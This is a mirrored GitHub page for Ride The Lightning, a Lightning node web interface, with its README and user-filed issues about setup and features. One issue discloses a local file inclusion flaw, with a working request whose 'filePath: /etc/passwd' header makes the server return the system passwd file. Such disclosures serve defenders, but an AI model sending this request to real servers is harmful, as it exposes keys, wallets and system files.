Giter VIP home page Giter VIP logo

rtl's Introduction

Ride The Lightning (RTL)

Known Vulnerabilities license

Intro -- Application Features -- Road Map -- Application Configurations -- Core Lightning -- Eclair -- Contribution

Introduction

RTL is a full function, device agnostic, web user interface to help manage lightning node operations. RTL is available on LND, CoreLightning and Eclair implementations.

  • Core Lightning users, refer to this page for install instructions.
  • Eclair users, refer to this page for install instructions.
  • LND users, follow the instructions below

Pre-requisite for running RTL is a functioning and synced LND node. If you are a Raspberry Pi or a Linux user, you can follow the famous Stadicus's guide to setup a Bitcoin + Lighting node.

RTL is available on the below platforms/services:

Docker Image: https://hub.docker.com/r/shahanafarooqui/rtl

Architecture

Prerequisites

  • Functioning and synced LND lightning node.
  • Node.js, which can be downloaded here
  • Recommended Browsers: Chrome, Firefox, MS Edge

Installation

To download a specific RTL version follow the instructions on the release page

To download from master (not recommended):

First time setup

$ git clone https://github.com/Ride-The-Lightning/RTL.git
$ cd RTL
$ npm install --omit=dev

Or: Update existing dependencies

$ cd RTL
$ git reset --hard HEAD
$ git clean -f -d
$ git pull
$ npm install --omit=dev

Error on npm install

If there is an error with upstream dependency conflict message then replace npm install --omit=dev with npm install --omit=dev --legacy-peer-deps.

Prep for Execution

RTL requires its own config file RTL-Config.json, to start the server and provide user authentication on the app.

Advanced users can refer to this page, for config settings required to manage multiple nodes

  • Rename the file Sample-RTL-Config.json to RTL-Config.json located at./RTL.
  • Locate the complete path of the readable macroon file (admin.macroon) on your node and the lnd.conf file.
  • Modify the RTL-Config.json file per the example file below

Example RTL-Config.json:

{
  "multiPass": "password",
  "port": "3000",
  "defaultNodeIndex": 1,
  "dbDirectoryPath": "<Complete path of the folder where rtl's database file should be saved>",
  "SSO": {
    "rtlSSO": 0,
    "rtlCookiePath": "",
    "logoutRedirectLink": ""
  },
  "nodes": [
    {
      "index": 1,
      "lnNode": "LND Testnet",
      "lnImplementation": "LND",
      "Authentication": {
        "macaroonPath": "<Complete path of the folder containing LND admin.macaroon for the node>",
        "runePath": "<Complete path including filename for CLN rune for the node, rune format 'LIGHTNING_RUNE="your-rune"'>",
        "lnApiPassword": "<Can be used to provide password in ECL implementation>",
        "swapMacaroonPath": "<Complete path of the folder containing Loop's loop.macaroon for the node>",
        "boltzMacaroonPath": "<Complete path of the folder containing Boltz admin.macaroon for the node>",
        "configPath": "<Optional:Path of the .conf if present locally or empty>",
      },
      "Settings": {
        "userPersona": "OPERATOR",
        "themeMode": "DAY",
        "themeColor": "PURPLE",
        "channelBackupPath": "C:\\RTL\\backup\\node-1",
        "bitcoindConfigPath": "<Optional: path of bitcoind.conf path if available locally>",
        "logLevel": "INFO",
        "fiatConversion": false,
        "unannouncedChannels": false,
        "lnServerUrl": "<url for LND REST APIs for node #1 e.g. https://192.168.0.1:8080>",
        "swapServerUrl": "<url for swap server REST APIs for the node. e.g. https://127.0.0.1:8081>",
        "boltzServerUrl": "<url for boltz server REST APIs for the node. e.g. https://127.0.0.1:9003>"
      }
    }
  ]
}

For details on all the configuration options refer to this page.

User Authentication on RTL

RTL requires the user to be authenticated by the application first, before allowing access to LND functions. Specific password must be provided in RTL-Config.json (in plain text) for authentication. Password should be set with multiPass:<user defined> in the Authentication section of RTL-Config.json. Default initial password is password.

Start the Server

Run the following command:

$ node rtl

If the server started successfully, you should get the below output on the console:

$ Server is up and running, please open the UI at http://localhost:3000 or your proxy configured url.

Optional: Running RTL as a service (Rpi or Linux platform users)

In case you are running a headless Rpi or a Linux node, you can configure RTL as a service.

  • Create RTL systemd unit and with the following content. Save and exit.
# Raspibolt RTL: systemd unit for RTL
# /etc/systemd/system/RTL.service

[Unit]
Description=RTL daemon
Wants=lnd.service
After=lnd.service

[Service]
ExecStart=/usr/bin/node <Full path of the RTL folder>/rtl
User=<user>
Restart=always
TimeoutSec=120
RestartSec=30

[Install]
WantedBy=multi-user.target
  • enable and start RTL
$ sudo systemctl enable RTL
$ sudo systemctl start RTL
  • montior the RTL log file in realtime(exit with Ctrl-C)

$ sudo journalctl -f -u RTL

Accessing the Application

You can access the application in multiple setups (Please make note of the 4th exception):

  1. Same device as the server: Open your browser at the following address: http://localhost:3000 to access the RTL application.

  2. Remotely from another device on the same local network (home network) as the node(RTL server+LND running on the same device):

  • Ensure that the if a firewall running on your node, it allows access on port 3000 (or the custom port configured for RTL).
  • Determine the IP address of your node to access the application. E.g. if the IP address of your node is 192.168.0.15 then open your browser at the following address: http://192.168.0.15:3000 to access RTL.
  1. Config tweaks for running RTL server and LND on separate devices on the same network can be found here.

  2. Any Other setup: Please be advised, if you are accessing your node remotely via RTL, its critical to encrypt the communication via use of https. You can use solutions like nginx and letsencrypt or TOR to setup secure access for RTL.

  • Sample SSL setup guide can be found here
  • (For advanced users) A sample SSL guide to serve remote access over an encrypted Tor connection can be found here

Troubleshooting

In case you are running into issues with the application or if you have feedback, feel free to open issues on our github repo. You can also reach out to us via twitter DM on @Suheb__ or @RTL_App. Thanks for your interest.

rtl's People

Contributors

aarondewes avatar abhishandy avatar arcbtc avatar chrisguida avatar erikarvstedt avatar escapedcat avatar farscapian avatar fvdpol avatar goodc0re avatar janoside avatar jeffvandrewjr avatar josephgoulden avatar juliansimon avatar kixunil avatar kn0wmad avatar kukks avatar leesalminen avatar mmilata avatar mrhash avatar natenate60 avatar naturallaw777 avatar nicolasdorier avatar openoms avatar pierrerochard avatar saubyk avatar seth586 avatar shahanafarooqui avatar timblankers avatar tomasho avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

rtl's Issues

RTL stuck at 'Unlock' screen

Pretty much, I've been getting the exact issue as the folks in Issues #43 & #45. Specifically, I can't seem to get past this error.

I've already tried literally all the suggestions in those two other issue threads to no avail.

Configs

I've git cloned RTL into a linux machine and am trying to access remotely to my lnd instance running on an RPi3 on the local network:

{
    "identity_pubkey": "[redacted]",
    "alias": "[redacted]",
    "num_pending_channels": 0,
    "num_active_channels": 32,
    "num_peers": 34,
    "block_height": 563338,
    "block_hash": "00000000000000000027d588760026a00dd92c58550e71c8f1581225142c37bb",
    "synced_to_chain": true,
    "testnet": false,
    "chains": [
        "bitcoin"
    ],
    "uris": [
        "[redacted]"
    ],
    "best_header_timestamp": "1550354745",
    "version": "0.5.2-beta commit=v0.5.2-beta",
    "num_inactive_channels": 5
}

My RTL.conf file

[Authentication]
lndServerUrl=https://192.168.0.201:8080/v1
macroonPath=/home/arvinda/Desktop/lnd-node-files
nodeAuthType=CUSTOM
rtlPass=[redacted]
enableLogging=false
#lndConfigPath=/home/bitcoin/.lnd/lnd.conf
[Settings]
flgSidenavOpened=false
flgSidenavPinned=false
menu=Vertical
menuType=Regular
theme=dark-blue
satsToBTC=false

My lnd.conf file

Uncommenting everything under [Bitcoind] tag below made no difference. I already have all these settings in my bitcoin.conf file as well and have never needed them here, but tried including them anyway as part of my troubleshooting.

# RaspiBolt LND Mainnet: lnd configuration
# /home/bitcoin/.lnd/lnd.conf

[Application Options]
debuglevel=info
maxpendingchannels=5
alias=[redacted]
color=#68F442
#listen=localhost
#nat=false

#[Tor]
#tor.active=true
#tor.v3=true

[Bitcoin]
bitcoin.active=1

# enable either testnet or mainnet
#bitcoin.testnet=1
bitcoin.mainnet=1

bitcoin.node=bitcoind

#[Bitcoind]
#bitcoind.rpcuser=[redacted]
#bitcoind.rpcpass=[redacted]
#bitcoind.zmqpubrawblock=tcp://127.0.0.1:28332
#bitcoind.zmqpubrawtx=tcp://127.0.0.1:28333

[Application options]
minchansize=140000
#restlisten=localhost:8080
#restlisten=192.168.0.201:8080
rpclisten=0.0.0.0:10009

[autopilot]
autopilot.active=0
autopilot.maxchannels=5
autopilot.allocation=0.6

Screenshot

image

Syntax Errors in Dev Console

I am getting the following errors in Chrome's developer console when trying to access RTL:

Uncaught SyntaxError: Unexpected token <runtime.ec2944dd8b20ec099bf3.js:1>
Uncaught SyntaxError: Unexpected token <polyfills.418928a701f2040ada02.js:1>
Uncaught SyntaxError: Unexpected token <main.b42b628ca80a5ffd43ce.js:1>

To reproduce:

git clone <repo-url>
cd <repo>
npm install
<edit config file> (mv sample-RTL.conf RTL.conf)
node rtl

I am using Node 10.15.1

Include wallet setup in web ui

I maintain a FreeNAS BTC/LN guide: https://github.com/seth586/guides/tree/master/FreeNAS

Is your feature request related to a problem? Please describe.
FreeNAS is working on a 'point and click' bitcoin plugin. In the future I would like to make a lightning plugin, but the problem is the command line required to set up lnd's wallet.

Describe the solution you'd like
I would like to reduce the barrier to entry. Perhaps RTL could web-ui lnd's initial wallet creation step, so a FreeNAS plugin could be deployed in a preconfigured state so the user can go straight to the UI without navigating the command line.

Docker

To improve adoption and testing it would be nice to have this packaged up as a docker image.

RTL unable to unlock Lnd wallet

Hi, this is my first issue posted on Git, so forgive my process.

Bitcoin Core node running
Lnd node running, wallet locked
Node RTL server running
127.0.0.1:3000 page is loaded
logged into RTL
Unlock Lnd Wallet > ERROR > Unlocking Wallet Failed! Verify That Lnd Is Running And The Wallet Is Locked!
RTL.log > Wallet: 20: 1549468724944: INFO: Unlock Wallet Response: undefined

RTL.conf:
[Authentication]
lndServerUrl=https://127.0.0.1:8080/v1
macroonPath=C:\Users\user\AppData\Local\Lnd\data\chain\bitcoin\mainnet
nodeAuthType=CUSTOM
lndConfigPath=C:\Users\user\AppData\Local\Lnd
rtlPass=******
enableLogging=true
[Settings]
flgSidenavOpened=true
flgSidenavPinned=true
menu=Vertical
menuType=Regular
theme=dark-blue
satsToBTC=false

Lnd.conf:
datadir=C:\Users\user\AppData\Local\Lnd\data
logdir=C:\Users\user\AppData\Local\Lnd\logs
maxlogfiles=3
maxlogfilesize=10
tlscertpath=C:\Users\user\AppData\Local\Lnd\tls.cert
tlskeypath=C:\Users\user\AppData\Local\Lnd\tls.key
tlsextraip=0.0.0.0
adminmacaroonpath=C:\Users\user\AppData\Local\Lnd\data\chain\bitcoin\mainnet\admin.macaroon
debuglevel=info
listen=0.0.0.0:9735

listen=[::1]:9736

externalip=0.0.0.0
rpclisten=127.0.0.1:10009
restlisten=127.0.0.1:10010
nat=false
alias=Flipping_A_BitCoin
color=#ffaa00
maxpendingchannels=10
bitcoin.mainnet=1
bitcoind.dir=C:\Program Files\Bitcoin\daemon\bitcoind.exe
bitcoin.defaultchanconfs=3
autopilot.active=1
autopilot.maxchannels=5
autopilot.allocation=0.2
#bitcoind.rpcpass=*******
lnddir=C:\Users\user\AppData\Local\Lnd
bitcoin.active=1
bitcoin.node=bitcoind
bitcoind.rpchost=127.0.0.1
bitcoind.rpcuser=******
#bitcoind.rpcpass=*******
bitcoind.rpcpass=************************************************
bitcoind.zmqpubrawblock=tcp://127.0.0.1:18500
bitcoind.zmqpubrawtx=tcp://127.0.0.1:18501

For some reason the servers are not talking to eachother.

Lnd=lnd-windows-amd64-v0.5.2-beta-rc7
RTL=0.1.14-alpha
Bitcoin Core=v0.17.1
Os=Windows 10

My suspicion is an issue with the use of the .cookie for rpcauth but without the use of the .cookie the Lnd node shuts down.

If in need of more info, please ask.

Kind regards
Jeroensbel

Error : Cannot find module 'express'

I'm running bitcoind & LND on a machine named "naka-dev" with a user named "satoshi".
After RTL installation I go this error :

satoshi@naka-dev:/tmp/RTL$ node rtl --lndir /home/satoshi/.lnd/data/chain/bitcoin/mainnet
module.js:549
throw err;
^

Error: Cannot find module 'express'
at Function.Module._resolveFilename (module.js:547:15)
at Function.Module._load (module.js:474:25)
at Module.require (module.js:596:17)
at require (internal/module.js:11:18)
at Object. (/tmp/RTL/app.js:2:17)
at Module._compile (module.js:652:30)
at Object.Module._extensions..js (module.js:663:10)
at Module.load (module.js:565:32)
at tryModuleLoad (module.js:505:12)
at Function.Module._load (module.js:497:3)

Mainnet (blue) running instead of Testnet (green)

Mainnet running instead of testnet? My setup runs perfectly but lately I can't get it to load green testnet. It's starts green and goes blue.

RTL.conf:

[Authentication]
lndServerUrl=https://localhost:8080/v1
macroonPath=/home/admin/.lnd/data/chain/bitcoin/testnet
nodeAuthType=CUSTOM
lndConfigPath=/home/admin/.lnd/lnd.conf
rtlPass=******
[Settings]
flgSidenavOpened=true
flgSidenavPinned=true
menu=Vertical
menuType=Regular
theme=dark-blue
satsToBTC=false

List Closed Channels

Describe the solution you'd like
Create a 'Closed' sub-menu item under 'Channels', which should list the closed channels for the node.

REST API: GET /v1/channels/closed

Config settings errorfails to load due to config file error

Describe the bug
RTL fails to load due to config file error

To Reproduce
After install, I run LND without first creating RTL.conf, and get:

Something went wrong, unable to create config file!TypeError: Cannot read property 'lndServerUrl' of undefined
Server is up and running, please open the UI at http://localhost:3000

I enter a password into the UI and crash with:

TypeError: Cannot read property 'nodeAuthType' of undefined
    at /home/tim/RTL/controllers/authenticate.js:20:57

Now RTL.conf has been created. If I run again, I get:

/home/tim/RTL/connect.js:44
  if(config.Authentication.lndServerUrl === '' ||  undefined === config.Authentication.lndServerUrl) {
                           ^
TypeError: Cannot read property 'lndServerUrl' of undefined

The config file does contain the setting lndServerUrl. I've tried many different combinations of various config settings and have been unable to get RTL to execute no matter what I put in RTL.conf.

Your environment
lnd 0.5.1-beta
Ubuntu 16.04.5 LTS
bitcoind 0.17.0

Additional context
I was able to run RTL about a month ago. I wiped it and did a new pull and started having this issue.

Won't load wallet

Describe the bug
When I open localhost:3000 and log in... it asks me to "unlock my wallet" which is already unlocked.

To Reproduce
open localhost:3000 in a browser, login

Expected behavior
I expect it to work.

Actual behavior
It doesn't work. It acts like it's trying to sync, and pops up a "unlock my wallet" password request.

Screenshots
If applicable, add screenshots to help explain your problem.

Your environment

  • version of lnd
    0.5.1
  • operating system (uname -a on *Nix)
    Rasbian
  • version of btcd, bitcoind, or other backend
    BitcoinD
  • any other relevant environment details

Additional context
[Authentication]
lndServerUrl=https://localhost:8080/v1
macroonPath=/home/pi/.lnd/data/chain/bitcoin/mainnet
nodeAuthType=CUSTOM
rtlPass=
lndConfigPath=/home/pi/.lnd/lnd.conf
enableLogging=false
[Settings]
flgSidenavOpened=true
flgSidenavPinned=true
menu=Vertical
menuType=Regular
theme=dark-blue
satsToBTC=false

Note: from within the app, I can view the lnd.conf and RTL.conf files.
If you try to unlock (the already unlocked wallet) it says "Please check server connection"
And what is "LNDServerUrl"?

Currency unit toggle on Litecoin chain does not work

Describe the bug
The currency unit toggle does not shift the unit from Liteoshi to LTC

To Reproduce
Steps to reproduce the behavior:

  1. Go to Settings
  2. Click on Currency Unit toggle to shift the currency unit
  3. The units does not change on the screen

Expected behavior
When the currency unit is toggled the unit on the screen should change per the selection.

Your environment

  • version of lnd 0.50
  • operating system raspabian
  • version of litecoind v 0.16.3

Channel Lookup

Describe the solution you'd like
Add a ‘Lookup’ sub-menu under the ‘Channel’ menu, to query channel information from the node.
The request would take Channel ID as input and return detailed information about the channel.

API:
GET /v1/graph/edge/{chan_id}

Channel refresh

Describe the bug
Channel list and Channel Balance view needs to be refreshed upon successful payment.

This will ensure that balance views are reflected accurately, as the balances shift from local to remote upon payments.

RTL not syncing

Describe the bug
I have started the RTL node on my server running Ubuntu. It keeps on syncing forever and will not show any data. I am using autopilot btw, not sure if that behaviour is supported? My btc node and lnd node is working like expected. I have channels that are connected etc. It shows on https://1ml.com/node/0324957a5ab4f045fc02a492eb7a3ff375a4bcec059a6a31cdb6360a5aab7c53e0

To Reproduce
Steps to reproduce the behavior:

  1. Go to 'cd /path/to/rtl'
  2. 'node rt'

Expected behavior
It should be synced after a few minutes

Actual behavior
it keeps on loading

Screenshots
If applicable, add screenshots to help explain your problem.

Your environment

  • version of lnd 0.5.1
  • operating system ubuntu server 18.04
  • bitcoind

Additional context
lncli getinfo output


{
        "version": "0.5.1-beta commit=v0.5.1-beta-402-gcb1df51a3a2713c12cf55105ef64bbedae5d286e",
        "identity_pubkey": "0324957a5ab4f045fc02a492eb7a3ff375a4bcec059a6a31cdb6360a5aab7c53e0",
        "alias": "Cryptoleone",
        "num_pending_channels": 0,
        "num_active_channels": 18,
        "num_inactive_channels": 0,
        "num_peers": 21,
        "block_height": 558938,
        "block_hash": "0000000000000000000e2b30192cf1c2e84eb63230c9e8c6eece46827518d495",
        "best_header_timestamp": 1547755848,
        "synced_to_chain": true,
        "testnet": false,
        "chains": [
                {
                        "chain": "bitcoin",
                        "network": "mainnet"
                }
        ],
        "uris": [
                "0324957a5ab4f045fc02a492eb7a3ff375a4bcec059a6a31cdb6360a5aab7c53e0@145.53.159.48:9735"
        ]
}

output of the RTL node

Server is up and running, please open the UI at http://localhost:3000
Console:
Conf: 7: 1547756106097: INFO: Getting RTL Config
Console:
GetInfo: 9: 1547756106316: INFO: {"identity_pubkey":"0324957a5ab4f045fc02a492eb7a3ff375a4bcec059a6a31cdb6360a5aab7c53e0","alias":"Cryptoleone","num_active_channels":18,"num_peers":21,"block_height":558938,"block_hash":"0000000000000000000e2b30192cf1c2e84eb63230c9e8c6eece46827518d495","synced_to_chain":true,"uris":["0324957a5ab4f045fc02a492eb7a3ff375a4bcec059a6a31cdb6360a5aab7c53e0@145.53.159.48:9735"],"best_header_timestamp":"1547755848","version":"0.5.1-beta commit=v0.5.1-beta-402-gcb1df51a3a2713c12cf55105ef64bbedae5d286e","chains":[{"chain":"bitcoin","network":"mainnet"}]}

Incorrect Currency Unit Toggle on Litecoin chain

Describe the bug
On the Litecoin chain, the settings panel shows currency unit toggle as BTC.

To Reproduce
Steps to reproduce the behavior:

  1. Run RTL on LND running on Litecoin
  2. Click on settings
  3. View the Currency unit toggle.

Expected behavior
When LND is running on Litecoin, the currency unit toggle should show LTC.

Your environment

  • version of lnd - 0.5
  • operating system - raspabian
  • version of litecoind v 0.16.3

Cannot install

I was following this guide (https://github.com/ShahanaFarooqui/RTL/blob/master/README.md) to install RTL, but when I got to the "npm install" step, I got this:

(node:10781) [DEP0022] DeprecationWarning: os.tmpDir() is deprecated. Use os.tmpdir() instead.
npm ERR! Error: Method Not Allowed
npm ERR! at errorResponse (/usr/share/npm/lib/cache/add-named.js:260:10)
npm ERR! at /usr/share/npm/lib/cache/add-named.js:203:12
npm ERR! at saved (/usr/share/npm/node_modules/npm-registry-client/lib/get.js:167:7)
npm ERR! at FSReqWrap.oncomplete (fs.js:135:15)
npm ERR! If you need help, you may report this entire log,
npm ERR! including the npm and node versions, at:
npm ERR! http://github.com/npm/npm/issues

npm ERR! System Linux 4.14.79-v7+
npm ERR! command "/usr/bin/node" "/usr/bin/npm" "install"
npm ERR! cwd /home/admin/RTL
npm ERR! node -v v8.11.1
npm ERR! npm -v 1.4.21
npm ERR! code E405
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR! /home/admin/RTL/npm-debug.log
npm ERR! not ok code 0

Does anyone know what is wrong?

Thanks.

Can the front end use a relative path to the api endpoint?

@JeffVandrewJr managed to add RTL to BTCPay in a working state.

However, there is one last point bothering me.

We need to route, at nginx level, all requests from /api to the RTL container. But, we plan to use /api at btcpay level.
I guess this route is used by the front end. If so, would it be able to use a relative path instead?

Right now:

  • queries to https://btcpay.example.com/rtl are routed to http://rtl_container
  • queries to https://btcpay.example.com/api are routed to http://rtl_container/api

I wished instead

  • queries to https://btcpay.example.com/rtl are routed to http://rtl_container
  • queries to https://btcpay.example.com/rtl/api are routed to http://rtl_container/api

For this to work,, you only need, on the front end, to use a relative path to get the route of the api.

Adding list of wallet transactions.

Hi guys.

With get('v1/transactions') lnd returns the list of wallet transactions
Though not really practical when there are hundreds, I still think is a good idea to be able to see the transactions.

Thanks.

List invoices/Payment Requests

Is your feature request related to a problem? Please describe.
My request is not related to a problem

Describe the solution you'd like
It would be great a new function to create new Payment Requests and navigate in the Payment Requests made by the node.
It will be useful to check what is settled or not or expired...and so on.
Thanks :)

On-chain transactions list

Describe the solution you'd like
Two sub-menus to be created under 'LND Wallet':

  1. 'Send/Receive' - The current functions under 'LND Wallet' should be moved under 'Send/Receive' sub-menu.
  2. 'List Transactions' - This menu should list the on-chain transactions done with the node's LND wallet. REST API for list transactions - "GET /v1/transactions".

QR Code for Invoice

Describe the solution you'd like
QR code should be available for the generated invoice.

Additional context
QR code should be shown, when the invoice is generated, as well when the invoice details are opened from the list.

Home shows channel balance 0. Channel dashboard shows 5000 (local).

At last I am again taking a deep look at LN in general and RTL in particular.

Yesterday I opened a channel to https://faucet.lightning.community/ I specified Channel Amount: 100.000 and Initial Balance: 5000.

Now when in Home, Channel Balance is 0BTC while in Channels -> Dashboard I see Local balance 5000 and Remote balance 4500.

As an extra question in Channels Management I see that the capacity is 100.000 when the fee was 90.500. How is the capacity 100.000 when local + remote balance is a mere 9500? Thanks.

Thanks.

ps: I'd appreciate a link to a tutorial that explains all these details.

Incorrect total balances on channel dashboard for zero balances

Describe the bug
On the channel dashboard, on the total channel panel, even if the channel balance is zero, the value is shown as 100 for remote balance and local balance.

To Reproduce
Steps to reproduce the behavior:

  1. Ensure that channel balances are zero
  2. Go to Channel Dashboard
  3. View the Total Channel Balances Panel
  4. Value for both remote balance and local balance is shown as 100

Channels / Pending Channels

Hi all,
I have now been using RTL on the BTC mainnet and have one suggestion. I had to close down a channel (forced closing) and I noticed that this closing process does not get reflected well in my view in the UI. I learned through lncli that there was a pending channel, than going back to the RTL UI with pending channels I had to get to the pull-down menu on the right to show Pending Force Closing to show this status. More intuitive would be you see all the pending channel statuses in the bottom of the screen and add the indentifier there (rather than the pull down). So a list of all pending channels some of them are pending open, force closing, closing etc Thanks Walter

Improve Security in Local Network

Is your feature request related to a problem? Please describe.
When RTL is activated on the RaspiBlitz and the wallet gets locked from one computers browser. Every other computer on the local network can control/manage the node, without any security check. Its not highly critical, but when people running mainnet they may prefer a bit more security.

Describe the solution you'd like
The browser and the nodejs server should establish some kind of session. That people even can even logout from.

Describe alternatives you've considered
As a quickfix - without further RaspiBlitz integration - one solution could be that the server remembers the local IP from the browser that unlocked the wallet and tells every other computer calling the side first to lock the wallet again from there before it can be unlocked on another or even offering a lock and unlock option.

Additional context
Later on with a deeper RaspiBlitz integration we can use Password D of the user for making a login to the RTL webinterface and then the browser remembers a session the user can logout from or something like that.

Good work so far .. just an idea for the coming future :)

Ability to enter custom amount for Invoice

Is your feature request related to a problem? Please describe.
If an invoice is created with no amount specified, user should be allowed to enter a specific amount, for paying the invoice.

Update Channel Policy

Describe the solution you'd like
Ability to update channel policy to adjust base_fee_msat, fee_rate, time_lock_delta at channel level or for all channels on the node.

API:
/v1/chanpolicy

The channel policy can be updated on the 'Management' list page. The update can be for each channel row, or all channels can be updated from the header row.
The input required for updating channels would be:
base_fee_msat
fee_rate
time_lock_delta
and chan_point (optional)
Upon clicking the control for updating the channel policy, a modal should be opened with the required fields to be input by the user. In case a channel is getting edited at the row level, the current values should also be populated in the modal. These values can be edited by the user.

For mass update, no initial values should be populated in the fields.

Add autopilot support

It would be great if there was support for autopilot where you can configure it, and see what actions it has taken (channels/closed opened etc.).

Local File Inclusion (LFI) vulnerability

Describe the bug
While working with RTL I found a dangerous vulnerability that allows you to read files from the whole file of the system, to which the user has the rights. The attacker can read system files. Np /etc/passwd, bitcoin wallets, configs but also SSH keys and anything else that an RTL application user can access.

Donate BTC Address: bc1q2et0jd2xwcpy87dz7uneq7g93gstfhllcwvyn6
Secure Payment lightning network node: 025033fdfd6f4e0e909776f0e8250c997f75de9cb11466e3a36fb8e6c7a1abcbb9@145.239.17.238:9735

To Reproduce
Steps to reproduce the behavior:

request:
GET /api/rtlconf/lndconfig HTTP/1.1
Host: X
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, /
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://X
filePath: /etc/passwd
Authorization: Bearer XXXXXX
Connection: close
If-None-Match: W/"a3-lad6RzESS3xRyaXX+GHKPvU5Bdg"

response:
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, filePath
Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE, OPTIONS
Content-Type: application/json; charset=utf-8
Content-Length: 1924
ETag: W/"784-aFmsdkp3rNj/4dbQ64Zv8XXwZ8"
Date: Fri, 18 Jan 2019 10:17:16 GMT
Connection: close

"root:x:0:0:root:/root:/bin/bash=true\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=true\nbin:x:2:2:bin:/bin:/usr/sbin/nologin=true\nsys:x:3:3:sys:/dev:/usr/sbin/nologin=true\nsync:x:4:65534:sync:/bin:/bin/sync=true\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin=true\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin=true\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin=true\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin=true\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin=true\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin=true\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin=true\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin=true\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin=true\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin=true\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin=true\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin=true\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin=true\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false=true\nsystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false=true\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false=true\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false=true\nsyslog:x:104:108::/home/syslog:/bin/false=true\n_apt:x:105:65534::/nonexistent:/bin/false=true\nlxd:x:106:65534::/var/lib/lxd/:/bin/false=true\nmessagebus:x:107:111::/var/run/dbus:/bin/false=true\nuuidd:x:108:112::/run/uuidd:/bin/false=true\ndnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false=true\nsshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin=true\nmichal:x:1000:1000:michal,,,:/home/michal:/bin/bash=true\nevaporator-production:x:999:999::/home/evaporator-production:=true\nbitcoin:x:111:117::/var/lib/bitcoin:/bin/false=true\nmichal2:x:1001:1002:,,,:/home/michal2:/bin/bash=true\n"

Screenshots
image

Your environment
Ride The Lightning (Alpha)

Additional context

Scrolling function is not working correctly on the Channel screen

Describe the bug
Not able to scroll through the channel list on the channel screen.

To Reproduce
Steps to reproduce the behavior:

  1. Go to the Channels screen
  2. Try scrolling on the channel list
  3. If the number of records are 5+, the scrolling is erratic and not working properly

Expected behavior
The scroll function should work smoothly.

Pubkey Lookup

Describe the solution you'd like
Add lookup of network nodes, to query any node on the network.
This should be on the ‘Peers’ page, where the pubkey is entered to connect with the peer.

The api which can be used for the look up is:
GET /v1/graph/node/{pub_key}

Dependency needed

Hello, on Ubuntu i had to do this:
sudo apt-get install libjpeg-dev
sudo apt-get install libgif-dev
to run without node error. Cheers!

Peer can be connected with just the public key

Is your feature request related to a problem? Please describe.
Connecting to a Peer with a public key, need not require a IP address and port. It can be done with just the public key.

Describe the solution you'd like
A complete connection string can be constructed with just the public key. The GetNodeInfo(REST API - /v1/graph/node) function can be used to fetch the IP address and port, which can then be used to construct a connection string, which can be passed to connect function to connect with the peer.

Show pending channels in Channels > Management

When opening a channels the only screen where I can see that there are pending channels is the "pending" counter in the dashboard. It would be nice if those channels showed up in the Channels>Management screen.

Anyone have any insights on getting RTL to wait for lnd and start after? here is my conf:

Error:

● RTL.service - RTL daemon
Loaded: loaded (/etc/systemd/system/RTL.service; enabled; vendor preset: enabled)
Active: activating (auto-restart) (Result: exit-code) since Thu 2019-01-03 20:49:32 EST; 17s ago
Process: 1231 ExecStart=/usr/bin/node /home/admin/RTL/rtl (code=exited, status=203/EXEC)
Main PID: 1231 (code=exited, status=203/EXEC)

Cant seem to get the daemon to start on reboot. here is my conf:

Raspibolt RTL: systemd unit for RTL

/etc/systemd/system/RTL.service

[Unit]
Description=RTL daemon
Wants=lnd.service
After=lnd.service

[Service]
ExecStart=/usr/bin/node /home/admin/RTL/rtl
User=admin
Restart=always
TimeoutSec=120
RestartSec=30

[Install]
WantedBy=multi-user.target

Some Ideas to develop the UI

Hi Sauby_k, as discussed yday on Twitter here are my suggestions for improvement, hope they are useful. Regards Walter_K

